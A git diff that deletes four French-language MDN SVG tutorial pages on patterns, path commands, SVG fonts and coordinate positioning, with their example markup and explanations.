diff --git a/files/fr/web/svg/tutoriel/motifs/index.html b/files/fr/web/svg/tutoriel/motifs/index.html deleted file mode 100644 index 29a63e8f60..0000000000 --- a/files/fr/web/svg/tutoriel/motifs/index.html +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: Motifs -slug: Web/SVG/Tutoriel/Motifs -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Patterns ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Gradients", "Web/SVG/Tutoriel/Texts") }}

- -

Les motifs (patterns en anglais) sont sans aucun doute les types de remplissages les plus complexes à utiliser en SVG. Ce sont également des outils très puissants, ils méritent donc d'être abordés pour que vous en connaissiez les fondamentaux. Comme les dégradés, l'élément {{SVGElement('pattern')}} doit être placé dans la section <defs> du fichier SVG.

- -

Exemple

- -
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
-  <defs>
-    <linearGradient id="Gradient1">
-      <stop offset="5%" stop-color="white"/>
-      <stop offset="95%" stop-color="blue"/>
-    </linearGradient>
-    <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
-      <stop offset="5%" stop-color="red"/>
-      <stop offset="95%" stop-color="orange"/>
-    </linearGradient>
-
-    <pattern id="Pattern" x="0" y="0" width=".25" height=".25">
-      <rect x="0" y="0" width="50" height="50" fill="skyblue"/>
-      <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/>
-      <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/>
-    </pattern>
-  </defs>
-
-  <rect fill="url(#Pattern)" stroke="black" width="200" height="200"/>
-</svg>
- -

{{ EmbedLiveSample('Exemple','220','220','/files/725/SVG_Pattern_Example.png') }}

- -

À l'intérieur de l'élément pattern, vous pouvez inclure toutes les formes de bases de SVG et les styliser de la même manière que d'habitude (remplissage, contour, dégradés, opacité, etc). Dans notre exemple, on a dessiné un cercle et deux rectangles (qui se chevauchent et dont l'un est deux fois plus grand que l'autre pour remplir le motif en entier).

- -

La partie pouvant apporter le plus de confusion avec les motifs est le système d'unité et la taille des éléments.

- -

Unités du motif: objectBoundingBox

- -

Les attributs width et height sur l'élément pattern décrivent jusqu'où le motif doit aller avant de se répéter. Les attributs x et y sont également disponibles si vous souhaitez décaler le point de départ du motif à l'intérieur du dessin.

- -

Même principe que l'attribut gradientUnits (que nous avons vu précédemment avec les dégradés), les motifs peuvent prendre un attribut patternUnits, pour spécifier l'unité utilisée par le motif. La valeur par défaut est  "objectBoundingBox", ainsi une taille de 1 remplira entièrement la hauteur/largeur de l'objet auquel le motif est appliqué. Puisque dans notre cas, on veut que le motif se répète 4 fois horizontalement et verticalement, on a définit height et width à 0.25. Cela signifie que la hauteur et largeur du pattern sera de 25% celle de l'objet.

- -

De même, pour que le motif commence à 10 pixels du bord supérieur-gauche de l'objet, il faudrait définir les valeurs de x et y à 0.05 (10/200 = 0.05).

- -

Unités du contenu: userSpaceOnUse

- -

Contrairement aux dégradés, les motifs ont un deuxième argument, patternContentUnits, qui lui spécifie l'unité utilisée par les formes à l'intérieur du motif. La valeur par défaut est "userSpaceOnUse", l'opposé de l'attribut patternUnits. Cela signifie qu'à moins de définir ces attributs aurement (patternContentUnits et/ou patternUnits), les formes que vous dessinez à l'intérieur du motif ont un système de coordonnées différent du motif, ce qui peut rendre les choses un peu déroutantes si vous écrivez le code à la main.

- -

Pour que cela fonctionne dans l'exemple ci-dessus, nous avons dû prendre en compte la taille du rectangle sur lequel est appliqué le motif (200px) et le fait que l'on veut répéter le motif 4 fois horizontalement et verticalement, donc que le motif sera un carré de 50x50. Les deux rectangles et le cercle à l'intérieur du motif ont été dimensionnés pour tenir dans un carré de 50x50. Tout ce qui sortirait en dehors ne serait pas affiché.

- -

La chose à retenir est que si l'objet change de taille, le motif lui-même sera mis à l'échelle mais les objets à l'intérieur non. Ainsi, alors qu'on aura toujours 4 motifs qui se répètent horizontalement et verticalement, les objets à l'intérieur du motif garderont la même taille, et une zone vide sera affichée.

- - - -

{{ EmbedLiveSample('Playable_code','220','350') }}

- -

Unités du contenu: objectBoundingBox

- -

En changeant l'attribut patternContentUnits, on peut utiliser le même système d'unité pour tous les éléments:

- -
 <pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox">
-   <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/>
-   <rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/>
-   <circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/>
- </pattern>
-
- -

Maintenant, parce le contenu du motif utilise le même système d'unité que le motif, le motif redimensionne automatiquement son contenu. Cela contraste avec le système "userSpaceOnUse" par défaut, où lorsque le motif change le taille, le contenu garde la même taille.

- - - -

{{ EmbedLiveSample('Playable_code_2','220','350') }}

- -

Note: Dans Gecko, les cercles semblent avoir du mal à être dessinés si le rayon est inférieur à 0.075 (on ignore s'il s'agit d'un bug de l'élément pattern ou non). Pour contourner ce problème, il est probablement préférable d'éviter de dessiner des cercles dans des unités "objectBoundingBox".

- -

Unités du motif: userSpaceOnUse

- -

Aucune des utilisations vu jusqu'ici ne correspond à l'usage habituel des motifs (tel qu'on le ferait en CSS): les motifs ont généralement une taille définie et se répètent indépendamment de la taille de l'objet sur lequel il est appliqué. Pour créer quelque chose comme ça, le motif et le contenu doivent être dessiné en mode "userSpaceOnUse":

- -
 <pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse">
-   <rect x="0" y="0" width="50" height="50" fill="skyblue"/>
-   <rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/>
-   <circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/>
- </pattern>
-
- -

Bien sûr, cela veut dire que le motif ne sera pas mis à l'échelle si vous modifiez la taille de l'objet ultérieurement.

- - - -

{{ EmbedLiveSample('Playable_code_3','220','350') }}

- -

Récapitulatif

- -

Les trois exemples sont illustrés ci-dessous sur un rectangle allongé à une hauteur de 300px:

- -

Image:SVG_Pattern_Comparison_of_Units.png

- -

{{ PreviousNext("Web/SVG/Tutoriel/Gradients", "Web/SVG/Tutoriel/Texts") }}

diff --git a/files/fr/web/svg/tutoriel/paths/index.html b/files/fr/web/svg/tutoriel/paths/index.html deleted file mode 100644 index 2b73ee2682..0000000000 --- a/files/fr/web/svg/tutoriel/paths/index.html +++ /dev/null @@ -1,334 +0,0 @@ ---- -title: Paths -slug: Web/SVG/Tutoriel/Paths -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Paths ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Formes_de_base", "Web/SVG/Tutoriel/Fills_and_Strokes") }}

- -

L’élément <path> (chemin en français) est le plus versatile des éléments de la bibliothèque SVG parmi les formes basiques. Vous pouvez l’utiliser pour créer des lignes, des courbes, des arcs et autres.

- -

Les chemins créent des formes en combinant plusieurs lignes droites ou courbes. Les formes composées uniquement de lignes droites peuvent être crées avec des lignes brisées (polylines). Bien que les lignes brisées et les chemins peuvent tout deux créer des formes d’apparence similaire, les lignes brisées nécessitent un grand nombre de petites lignes pour simuler des courbes, et qui ne s’adaptent pas bien aux grandes tailles. Une bonne compréhension des chemins est importante pour dessiner en SVG. Bien qu’il ne soit pas recommandé d'éditer des chemins complexes avec un éditeur XML ou texte (on utilisera plutôt un éditeur SVG tel que Inkscape ou Adobe Illustrator), comprendre comment un chemin s'écrit vous permettra éventuellement d’identifier et de corriger des erreurs d’affichage dans un SVG.

- -

La forme d’un élément path est définie par son attribut {{ SVGAttr("d") }}. Celui-ci prend pour valeur une série de commandes suivi de paramètres utilisés par ces commandes.

- -

Chacune des commandes est instanciée par une lettre spécifique. Par exemple, pour se positionner aux coordonnées (10, 10), on utilise la commande M (pour MoveTo, « aller à ») suivit des coordonées: "M 10 10". Quand l’interpréteur rencontre une lettre, il comprend que vous invoquez une commande, et les nombres qui suivent sont les paramètres de la commande.

- -

De plus, toutes les commandes se présentent sous deux formes: une lettre majuscule spécifie des coordonnées absolues dans la page, une lettre minuscule spécifie des coordonées relatives (par exemple, « aller à 10px vers le haut et 7px vers la gauche depuis le point précédent »).

- -

Les coordonnées dans l’attribut d sont toujours sans unité et par conséquent dans le système de coordonnées utilisateur. Par la suite, nous apprendrons comment les chemins peuvent être transformés pour répondre à d’autres besoins.

- -

Commandes pour les lignes

- -

Il existe cinq commandes pour tracer des lignes avec un élément <path>. Ces commandes permettent de tracer une ligne droite entre deux points.

- -

MoveTo

- -

La première commande, « aller à », invoquée avec M (MoveTo), a été décrite ci-dessus. Elle prend en paramètres les coordonnées x et y où se rendre. Aucun trait n’est dessiné, le curseur est simplement déplacé dans la page. La commande « aller à » apparaît au début d’un chemin pour spécifier à quel endroit le dessin doit commencer. Par exemple :

- -
M x y
-
- -

ou

- -
m dx dy
- -

Dans l’exemple suivant, on se place au point (10, 10). Notez cependant qu'à ce stade rien n'est dessiné, on a manuellement ajouté un cercle pour indiquer la position:

- -

- -
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
-  <path d="M10 10"/>
-
-  <!-- Indique la position -->
-  <circle cx="10" cy="10" r="2" fill="red"/>
-</svg>
- -

LineTo, Horizontal LineTo, Vertical LineTo

- -

Il y a trois commandes qui dessinent des lignes. La plus générique est la commande « ligne vers », invoquée avec L (LineTo). L prend deux paramètres, les coordonnées x et y, et dessine une ligne depuis la position actuelle vers la nouvelle position.

- -
L x y (ou l dx dy)
-
- -

Il existe deux formes abrégées pour dessiner des lignes horizontales ou verticales. H (Horizontal LineTo) dessine une ligne horizontale, et V (Vertical LineTo) dessine une ligne verticale. Ces deux commandes ne prennent qu’un seul argument car elles ne se déplacent que le long d’une direction.

- -
H x (ou h dx)
-V y (ou v dy)
-
- -

Afin de commencer facilement, nous allons dessiner une forme simple, un rectangle (qu'on aurait aussi pu dessiner avec un élément <rect>). Il est composé uniquement de lignes horizontales et verticales :

- -

- -
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
-  <path d="M10 10 H 90 V 90 H 10 L 10 10"/>
-
-  <!-- Indique les points -->
-  <circle cx="10" cy="10" r="2" fill="red"/>
-  <circle cx="90" cy="90" r="2" fill="red"/>
-  <circle cx="90" cy="10" r="2" fill="red"/>
-  <circle cx="10" cy="90" r="2" fill="red"/>
-</svg>
- -

ClosePath

- -

On aurait pu raccourcir un peu la déclaration de l'exemple ci-dessus en utilisant la commande « fermer le chemin », invoquée avec Z (ClosePath). Cette commande dessine une ligne droite entre la position actuelle et le premier point du chemin. Elle est souvent placée à la fin du path, mais pas toujours. Il n’y a pas de différence entre la commande en majuscule et en minuscule.

- -
Z (ou z)
-
- -

Ainsi, notre chemin précédent peut se raccourcir comme ceci:

- -
<path d="M10 10 H 90 V 90 H 10 Z" fill="transparent" stroke="black"/>
-
- -

Commandes relatives

- -

On aurait également pu utiliser des commandes relatives pour dessiner la même image.

- -

Les commandes relatives sont invoquées en utilisant des lettres minuscules. Plutôt que de déplacer le curseur vers des coordonnées absolues, elles le déplacent relativement à sa dernière position. Par exemple, puisque notre boîte est de dimension 80x80, l’élement path aurait pu être écrit:

- -
<path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/>
-
- -

Le chemin va se positionner au point (10, 10), se déplacer horizontalement de 80 points vers la droite, puis de 80 points vers le bas, de 80 points vers la gauche, et enfin revenir à son point de départ.

- -

Dans ces exemples, il serait probablement plus simple d’utiliser un élément <polygon> ou <polyline>. Cependant, les chemins sont si couramment utilisés en dessin SVG qu'un développeur peut se sentir plus à l’aise avec eux. Il n’y a pas de réel avantage ou inconvénient à utiliser l’un ou l’autre.

- -

Commandes pour les courbes

- -

Il existe trois commandes différentes pour créer des courbes. Deux d’entre elles sont des courbes de Bézier, et la troisième est un « arc » ou section de cercle. Il se peut que vous ayez déjà acquis une expérience pratique avec les courbes de Bézier en utilisant les outils de chemins avec Inkscape, Illustrator ou Photoshop. Pour une description complète des concepts mathématiques sous-jacents, vous pouvez consulter la page Wikipedia Courbe de Bézier.

- -

Il existe une infinité de courbes de Bézier, mais seulement deux des plus simples d’entre elles sont disponibles dans les éléments path: l’une cubique, invoquée avec C, et l’autre quadratique, invoquée avec Q.

- -

CurveTo

- -

La courbe de Bézier cubique, C (CurveTo), est la forme de courbe Bézier la plus complexe. Ce type de courbe nécessite deux points de contrôle. Ainsi, pour créer une courbe de Bézier cubique, vous devez spécifier trois paires de coordonnées.

- -
C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
-
- -

Les deux premières paires de coordonnées sont les points de contrôle: le point de contrôle pour le début de la courbe est (x1, y1), et (x2, y2) est celui de la fin de la courbe. La dernière paire de coordonnées (x, y) est l’endroit où vous voulez que la ligne se termine.

- -

Les points de contrôle décrivent, pour faire simple, la pente de la courbe pour le point de départ et pour le point d'arrivée. La fonction Bézier crée ensuite une courbe lisse faisant le lien entre la pente que vous avez établie au début de votre ligne, et celle à l’autre extrémité.

- -

Cubic Bézier Curves with grid

- -
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
-  <path d="M10 10 C 20 20, 40 20, 50 10" stroke="black" fill="transparent"/>
-  <path d="M70 10 C 70 20, 120 20, 120 10" stroke="black" fill="transparent"/>
-  <path d="M130 10 C 120 20, 180 20, 170 10" stroke="black" fill="transparent"/>
-  <path d="M10 60 C 20 80, 40 80, 50 60" stroke="black" fill="transparent"/>
-  <path d="M70 60 C 70 80, 110 80, 110 60" stroke="black" fill="transparent"/>
-  <path d="M130 60 C 120 80, 180 80, 170 60" stroke="black" fill="transparent"/>
-  <path d="M10 110 C 20 140, 40 140, 50 110" stroke="black" fill="transparent"/>
-  <path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/>
-  <path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/>
-</svg>
-
- -

L’exemple ci-dessus crée neuf courbes de Bézier cubiques. De gauche à droite, les points de contrôle sont de plus en plus espacés horizontalement. De haut en bas, ils sont de plus en plus éloignés des extrémités. La chose à remarquer ici est que la courbe commence dans la direction du premier point de contrôle, puis se courbe de manière à terminer le long de la direction du second point de contrôle.

- -

Shorthand CurveTo

- -

Vous pouvez lier ensemble plusieurs courbes de Bézier pour créer des formes harmonieuses étendues. Souvent, le point de contrôle d’un côté d’une extrémité sera une réflexion du point de contrôle utilisé de l’autre côté, afin de garder une pente constante. Dans ce cas, vous pouvez utiliser une version raccourcie de la courbe cubique, désignée par la commande S, ou s (Shorthand CuveTo).

- -
S x2 y2, x y (ou s dx2 dy2, dx dy)
-
- -

S dessine une courbe de Bézier cubique entre le point actuel et (x, y).

- -
    -
  • Si elle suit une autre commande S ou C, le premier point de contrôle est calculé pour être le reflet du point de contrôle précédent.
    • -
  • Si la commande S ne suit pas une autre commande S ou C, la position actuelle du curseur est utilisée comme premier point de contrôle. Dans ce cas, le résultat est le même que ce que la commande Q aurait produit avec les mêmes paramètres.
    • -
- -

(x2, y2) est le second point de contrôle.

- -

Un exemple de cette syntaxe est montré ci-dessous. Dans la figure associée, les points de contrôle spécifiés sont indiqués en rouge, et le point de contrôle inféré, en bleu.

- -

ShortCut_Cubic_Bezier_with_grid.png

- -
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
-  <path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/>
-</svg>
- -

Quadratic Bezier CurveTo

- -

L’autre type de courbe, la courbe de Bézier quadratique, est invoquée avec Q (Quadratic Bezier CurveTo). Elle est plus simple que la version cubique puisqu'elle ne nécessite qu'un point de contrôle. Le point de contrôle détermine la pente de la courbe à la fois au point de départ et au point d’arrivée.

- -
Q x1 y1, x y (ou q dx1 dy1, dx dy)
-
- -

(x1 y1) est la position du point de contrôle, et (x y) est le point d’arrivée de la courbe.

- -

Quadratic Bézier with grid

- -
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
-  <path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/>
-</svg>
- -

Shorthand Quadratic Bezier CurveTo

- -

Comme pour la courbe cubique, il existe un raccourci pour lier ensemble plusieurs courbes quadratiques, invoqué avec T (Shorthand Quadratic Bezier CuveTo).

- -
T x y (ou t dx dy)
-
- -

Ce raccourci examine le précédent point de contrôle utilisé et en infère un nouveau à partir de celui-ci. Cela signifie qu’après un premier point de contrôle, vous pouvez créer des formes assez complexes en spécifiant seulement les points d’extrémités.

- -
-

Note: Ce raccourci fonctionne uniquement si la commande précédente est une commande Q ou T. Dans le cas contraire, le point de contrôle est considéré comme le même que le point précédent, et vous ne dessinerez que des lignes.

-
- -

Shortcut_Quadratic_Bezier_with_grid.png

- -
<svg width="190" height="160" xmlns="http://www.w3.org/2000/svg">
-  <path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/>
-</svg>
- -

Les deux courbes produisent des résultats similaires, bien que les courbes cubiques vous offrent une plus grande liberté dans l’apparence exacte que vous voulez donner à votre courbe. Le choix du type de courbe de Bézier à utiliser se fait au cas par cas, et dépend du nombre de symétries que présente votre ligne.

- -

Elliptical Arc

- -

Le dernier type de ligne courbe que vous pouvez créer avec SVG est l’arc, invoqué avec A (Elliptical Arc). Les arcs sont des sections de cercles ou d’ellipses.

- -

L'élément arc part du point actuel vers le point d'arrivée (x, y) en parcourant la ligne le long d'une ellipse définie par rx et ry. Le centre de l'ellipse (cx, cy) est calculé automatiquement pour satisfaire les contraintes imposées par les autres paramètres. Si vous avez besoin d'un rappel sur les ellipses, voyez les formes de base. Ensemble, ces quatre valeurs définissent la structure de base de l’arc.

- -
A rx ry x-axis-rotation large-arc-flag sweep-flag x y
-a rx ry x-axis-rotation large-arc-flag sweep-flag dx dy
-
- -

x-axis-rotation

- -

x-axis-rotation décrit la rotation de l’arc. Il s’explique plus facilement avec un exemple:

- -

SVGArcs_XAxisRotation_with_grid

- -
<svg width="320" height="320" xmlns="http://www.w3.org/2000/svg">
-  <line x1="10" y1="315" x2="315" y2="10" stroke="black" stroke-width="2" />
-
-  <path d="M110 215       a 30 50   0 0 1 52.55 -52.45" fill="#7FBF7F" stroke="black" stroke-width="2" />
-  <path d="M172.55 152.45 a 30 50 -45 0 1 42.55 -42.55" fill="#7FBF7F" stroke="black" stroke-width="2" />
-</svg>
- -

Cet exemple montre deux arcs elliptiques de rayon dx 30 et rayon dy 50.

- -
    -
  • Pour le premier arc, le paramètre x-axis-rotation a été laissé à 0, et l’ellipse autour de laquelle passe l’arc (montrée en gris) est orientée verticalement.
    • -
  • Pour le second arc en revanche, x-axis-rotation est passé à -45 degrés. Cela pivote l’ellipse, de telle sorte que son petit axe (dy) est aligné avec la direction du chemin, comme illustré par la seconde ellipse dans l’image.
    • -
- -

sweep-flag

- -

Pour un rayon rx et un rayon ry donnés, il existe deux ellipses pouvant connecter deux points quelconques.

- -

sweep-flag détermine si l’arc doit commencer son mouvement à un angle négatif ou positif, permettant ainsi de choisir lequel des deux cercles est parcouru.

- -
<!-- sweep-flag: 0 -->
-<path d="M 125,75 a100,50 0 0,0 100,50"
-      stroke="red" stroke-width="6" fill="none" />
-
-<!-- sweep-flag: 1 -->
-<path d="M 125,75 a100,50 0 0,1 100,50"
-      stroke="blue" stroke-width="6" fill="none" />
-
- - - -

{{ EmbedLiveSample('Playable_code', '100%', 200) }}

- -

large-arc-flag

- -

Pour chacune des deux ellipses, il existe deux chemins possibles, ce qui donne quatre chemins possibles.

- -

large-arc-flag détermine simplement si l’arc doit être supérieur ou inférieur à 180 degrés ; au final, il détermine dans quelle direction l’arc va parcourir une ellipse donnée.

- -
<!-- large-arc-flag: 0 -->
-<path d="M 125,75 a100,50 0 0,0 100,50"
-      stroke="red" stroke-width="6" fill="none" />
-
-<!-- large-arc-flag: 1 -->
-<path d="M 125,75 a100,50 0 1,0 100,50"
-      stroke="blue" stroke-width="6" fill="none" />
-
- - - -

{{ EmbedLiveSample('Playable_code_2', '100%', 200) }}

- -

L’exemple ci-dessous montre les quatre combinaisons possibles avec sweep-flag et large-arc-flag:

- -

- -
<svg width="325" height="325" xmlns="http://www.w3.org/2000/svg">
-  <path d="M80 80
-           A 45 45, 0, 0, 0, 125 125
-           L 125 80 Z" fill="green"/>
-  <path d="M230 80
-           A 45 45, 0, 1, 0, 275 125
-           L 275 80 Z" fill="red"/>
-  <path d="M80 230
-           A 45 45, 0, 0, 1, 125 275
-           L 125 230 Z" fill="purple"/>
-  <path d="M230 230
-           A 45 45, 0, 1, 1, 275 275
-           L 275 230 Z" fill="blue"/>
-</svg>
- -

Conclusion

- -

Les arcs sont un moyen facile de créer des portions de cercle ou d’ellipse dans vos dessins. Par exemple pour dessiner un graphique en camembert. Si vous êtes en train de migrer vers SVG depuis Canvas, les arcs peuvent être la partie la plus difficile à appréhender, mais sont également bien plus puissants.

- -

Comme les points de départ et d’arrivée de tout chemin parcourant un cercle sont confondus, un nombre infini de cercles peuvent être choisis, par conséquent le chemin est indéfini. Il est possible d’en faire une approximation en prenant des points de départ et d’arrivée légèrement décalés, puis de les connecter à l’aide d’un autre segment de chemin. Dans ces conditions, il est souvent plus facile d’utiliser un véritable élément cercle ou ellipse à la place.

- -

Vous pouvez trouver une démo interactive à l'adresse suivante, pour vous aider à comprendre les concepts derrière les arcs SVG: http://codepen.io/lingtalfi/pen/yaLWJG (testé avec Chrome et Firefox seulement, peut ne pas marcher avec votre navigateur).

- -

{{ PreviousNext("Web/SVG/Tutoriel/Formes_de_base", "Web/SVG/Tutoriel/Fills_and_Strokes") }}

diff --git a/files/fr/web/svg/tutoriel/polices_svg/index.html b/files/fr/web/svg/tutoriel/polices_svg/index.html deleted file mode 100644 index 4a196a3825..0000000000 --- a/files/fr/web/svg/tutoriel/polices_svg/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Polices SVG -slug: Web/SVG/Tutoriel/polices_SVG -tags: - - Police - - SVG - - font -translation_of: Web/SVG/Tutorial/SVG_fonts ---- -

{{ PreviousNext("Web/SVG/Tutoriel/filtres","Web/SVG/Tutoriel/SVG_Image_Tag") }}

- -

Lorsque SVG a été spécifié, le support des polices d'écriture pour le web n'était pas répandu dans les navigateurs. Comme l'accès au fichier de la police adéquate est cependant crucial pour afficher correctement le texte, une technologie de description des polices a été ajoutée à SVG pour offrir cette capacité. Elle n'a pas été conçue pour la compatibilité avec d'autres formats tels que le PostScript ou OTF, mais plutôt comme un moyen simple d'intégration des informations des glyphes en SVG lors de l'affichage.

- -
Les Polices d'écritures SVG sont actuellement supportées uniquement sur Safari et le navigateur Android.
-Internet Explorer n'a pas envisagé de les implémenter, la fonctionnalité a été supprimée de Chrome 38 (et Opera 25) et Firefox a reporté sa mise en œuvre indéfiniment pour se concentrer sur WOFF. Cependant, d'autres outils comme le plugin Adobe SVG Viewer, Batik et des modèles de document d'Inkscape supportent l'incorporation des Police d'écriture SVG.
- -

La base pour définir une police SVG est l'élément {{ SVGElement("font") }}.

- -

Définir une police

- -

Quelques ingrédients sont nécessaires pour intégrer une police en SVG. Prenons un exemple de déclaration (celle de la spécification), et expliquons-en les détails.

- -
<font id="Font1" horiz-adv-x="1000">
-  <font-face font-family="Super Sans" font-weight="bold" font-style="normal"
-      units-per-em="1000" cap-height="600" x-height="400"
-      ascent="700" descent="300"
-      alphabetic="0" mathematical="350" ideographic="400" hanging="500">
-    <font-face-src>
-      <font-face-name name="Super Sans Bold"/>
-    </font-face-src>
-  </font-face>
-  <missing-glyph><path d="M0,0h200v200h-200z"/></missing-glyph>
-  <glyph unicode="!" horiz-adv-x="300"><!-- Outline of exclam. pt. glyph --></glyph>
-  <glyph unicode="@"><!-- Outline of @ glyph --></glyph>
-  <!-- more glyphs -->
-</font>
- -

Nous commençons avec l'élement {{ SVGElement("font") }}. Il contient un attribut id, ce qui permet de le référencer via une URI (voir plus bas). L'attribut horiz-adv-x définit sa largeur moyenne, comparée aux définitions des autres glyphes individules. La valeur 1000 définit une valeur raisonnable. Plusieurs autres attributs associés précisent l'affichage de la boite qui encapsule le glyphe.

- -

L'élément  {{ SVGElement("font-face") }} est l'équivalent SVG de la déclaration CSS  @font-face. Il définit les propriétés de base de la police finale, telles que 'weight', 'style', etc. Dans l'exemple ci-dessus, la première et la plus importante est  font-family : Elle pourra alors être référencée via la propriété font-family présente dans les CSS et les SVG. Les attributs font-weight et font-style ont la même fonction que leurs équivalents CSS. Les attributs suivants sont des instructions de rendu, pour le moteur d'affichage des polices ; par exemple : quelle est la taille des jambages supérieurs des glyphes (ascenders).

- -

Its child, the {{ SVGElement("font-face-src") }} element, corresponds to CSS' src descriptor in @font-face declarations. You can point to external sources for font declarations by means of its children {{ SVGElement("font-face-name") }} and {{ SVGElement("font-face-uri") }}. The above example states that if the renderer has a local font available named "Super Sans Bold", it should use this instead.

- -

Following {{ SVGElement("font-face-src") }} is a {{ SVGElement("missing-glyph") }} element. This defines what should be displayed if a certain glyph is not found in the font and if there are no fallback mechanisms. It also shows how glyphs are created: By simply adding any graphical SVG content inside. You can use literally any other SVG elements in here, even {{ SVGElement("filter") }}, {{ SVGElement("a") }} or {{ SVGElement("script") }}. For simple glyphs, however, you can simply add a d attribute — this defines a shape for the glyph exactly like how standard SVG paths work.

- -

The actual glyphs are then defined by {{ SVGElement("glyph") }} elements. The most important attribute is unicode. It defines the unicode codepoint represented by this glyph. If you also specify the {{htmlattrxref("lang")}} attribute on a glyph, you can further restrict it to certain languages (represented by xml:lang on the target) exclusively. Again, you can use arbitrary SVG to define the glyph, which allows for great effects in supporting user agents.

- -

There are two further elements that can be defined inside font: {{ SVGElement("hkern") }} and {{ SVGElement("vkern") }}. Each carries references to at least two characters (attributes u1 and u2) and an attribute k that determines how much the distance between those characters should be decreased. The below example instructs user agents to place the "A" and "V" characters closer together the standard distance between characters.

- -
<hkern u1="A" u2="V" k="20" />
- -

Référencer une police

- -

Lorsque vous avez mis en place votre déclaration de police comme décrit ci-dessus, vous pouvez utiliser un simple attribut font-family pour réellement appliquer la police à un texte SVG:

- -
<font>
-  <font-face font-family="Super Sans" />
-  <!-- ... -->
-</font>
-
-<text font-family="Super Sans">My text uses Super Sans</text>
- -

Cependant, vous êtes libre de combiner plusieurs méthodes pour une plus grande liberté de où et comment définir la police.

- -

Option: Utiliser le CSS @font-face

- -

 

- -

Vous pouvez utiliser @font-face pour les polices externes de référence :

- -

 

- -
<font id="Super_Sans">
-  <!-- ... -->
-</font>
-
-<style type="text/css">
-@font-face {
-  font-family: "Super Sans";
-  src: url(#Super_Sans);
-}
-</style>
-
-<text font-family="Super Sans">My text uses Super Sans</text>
- -

Option: Référencer une police externe

- -

 

- -

L'élément mentionné font-face-uri vous permet de référencer une police externe, permettant donc une plus grande réutilisabilité :

- -

 

- -
<font>
-  <font-face font-family="Super Sans">
-    <font-face-src>
-      <font-face-uri xlink:href="fonts.svg#Super_Sans" />
-    </font-face-src>
-  </font-face>
-</font>
- -
-
-

{{ PreviousNext("Web/SVG/Tutoriel/filtres","Web/SVG/Tutoriel/SVG_Image_Tag") }}

-
-
diff --git a/files/fr/web/svg/tutoriel/positionnement/index.html b/files/fr/web/svg/tutoriel/positionnement/index.html deleted file mode 100644 index 7f23bfe123..0000000000 --- a/files/fr/web/svg/tutoriel/positionnement/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Positionnement -slug: Web/SVG/Tutoriel/Positionnement -tags: - - Débutant - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Positions ---- -

{{ PreviousNext("SVG/Tutoriel/Premiers_pas", "SVG/Tutoriel/Formes_de_base") }}

- -

La grille

- -

Pour chaque élément, SVG utilise un ensemble de coordonnées aussi appelé grille assez similaire à ce qui est utilisé dans canvas (et par tout un tas d'autres routines de dessin informatique). Dans le cas présent, le point en haut à gauche est considéré comme le point (0,0) ou point d'origine. Le positionnement est ensuite mesuré en pixel, depuis le coin supérieur gauche. Les valeurs positives de x vont vers la droite, les valeurs positives de y vont vers le bas. Notez que tout ceci est un peu contraire à la géométrie que l'on vous a enseignée. Ici, le positionnement fonctionne de la même manière que pour les éléments HTML.

- -

Exemple

- -
<rect x="0" y="0" width="100" height="100" />
-
- -

L'élément précédent définit un rectangle dans le coin supérieur gauche de l'écran, d'une taille de 100px par 100px.

- -

Qu'est ce qu'un pixel ?

- -

Dans le cas le plus basique, un pixel dans un document SVG correspond à un pixel du périphérique de sortie, à savoir l'écran. Mais le SVG ne serait pas "scalable", c'est-à-dire évolutif, s'il n'y avait qu'une seule possibilité de gérer ce comportement. Tout comme les tailles de police absolues et relatives en CSS, SVG peut définir des unités absolues (avec des identifiants dimensionnels comme le "pt" ou encore le "cm") ou encore des unités dites définies par l'utilisateur, qui ne disposent pas de ces identifiants et correspondent à des nombres ordinaires.

- -

Par défaut, l'unité utilisateur correspond à l'unité de l'écran. Pour modifier ce comportement de manière explicite, il existe plusieurs méthodes en SVG. Commençons par l'élément racine svg :

- -
<svg width="100" height="100">
-
- -

La déclaration suivante crée un élément SVG d'une taille de 100px par 100px. Ici, une unité utilisateur correspond à l'unité de l'écran.

- -
<svg width="200" height="200" viewBox="0 0 100 100">
-
- -

L'image SVG suivante fait 200px par 200px. Toutefois, l'attribut viewBox définit que cet élément de 200 par 200 commence au point (0,0) et s'étend sur une grille de 100 unités sur 100 unités vers la droite et vers le bas de l'écran. 100 unités représentant 200 pixels, chaque unité vaut deux pixels : cela permet de doubler la taille de l'image.

- -

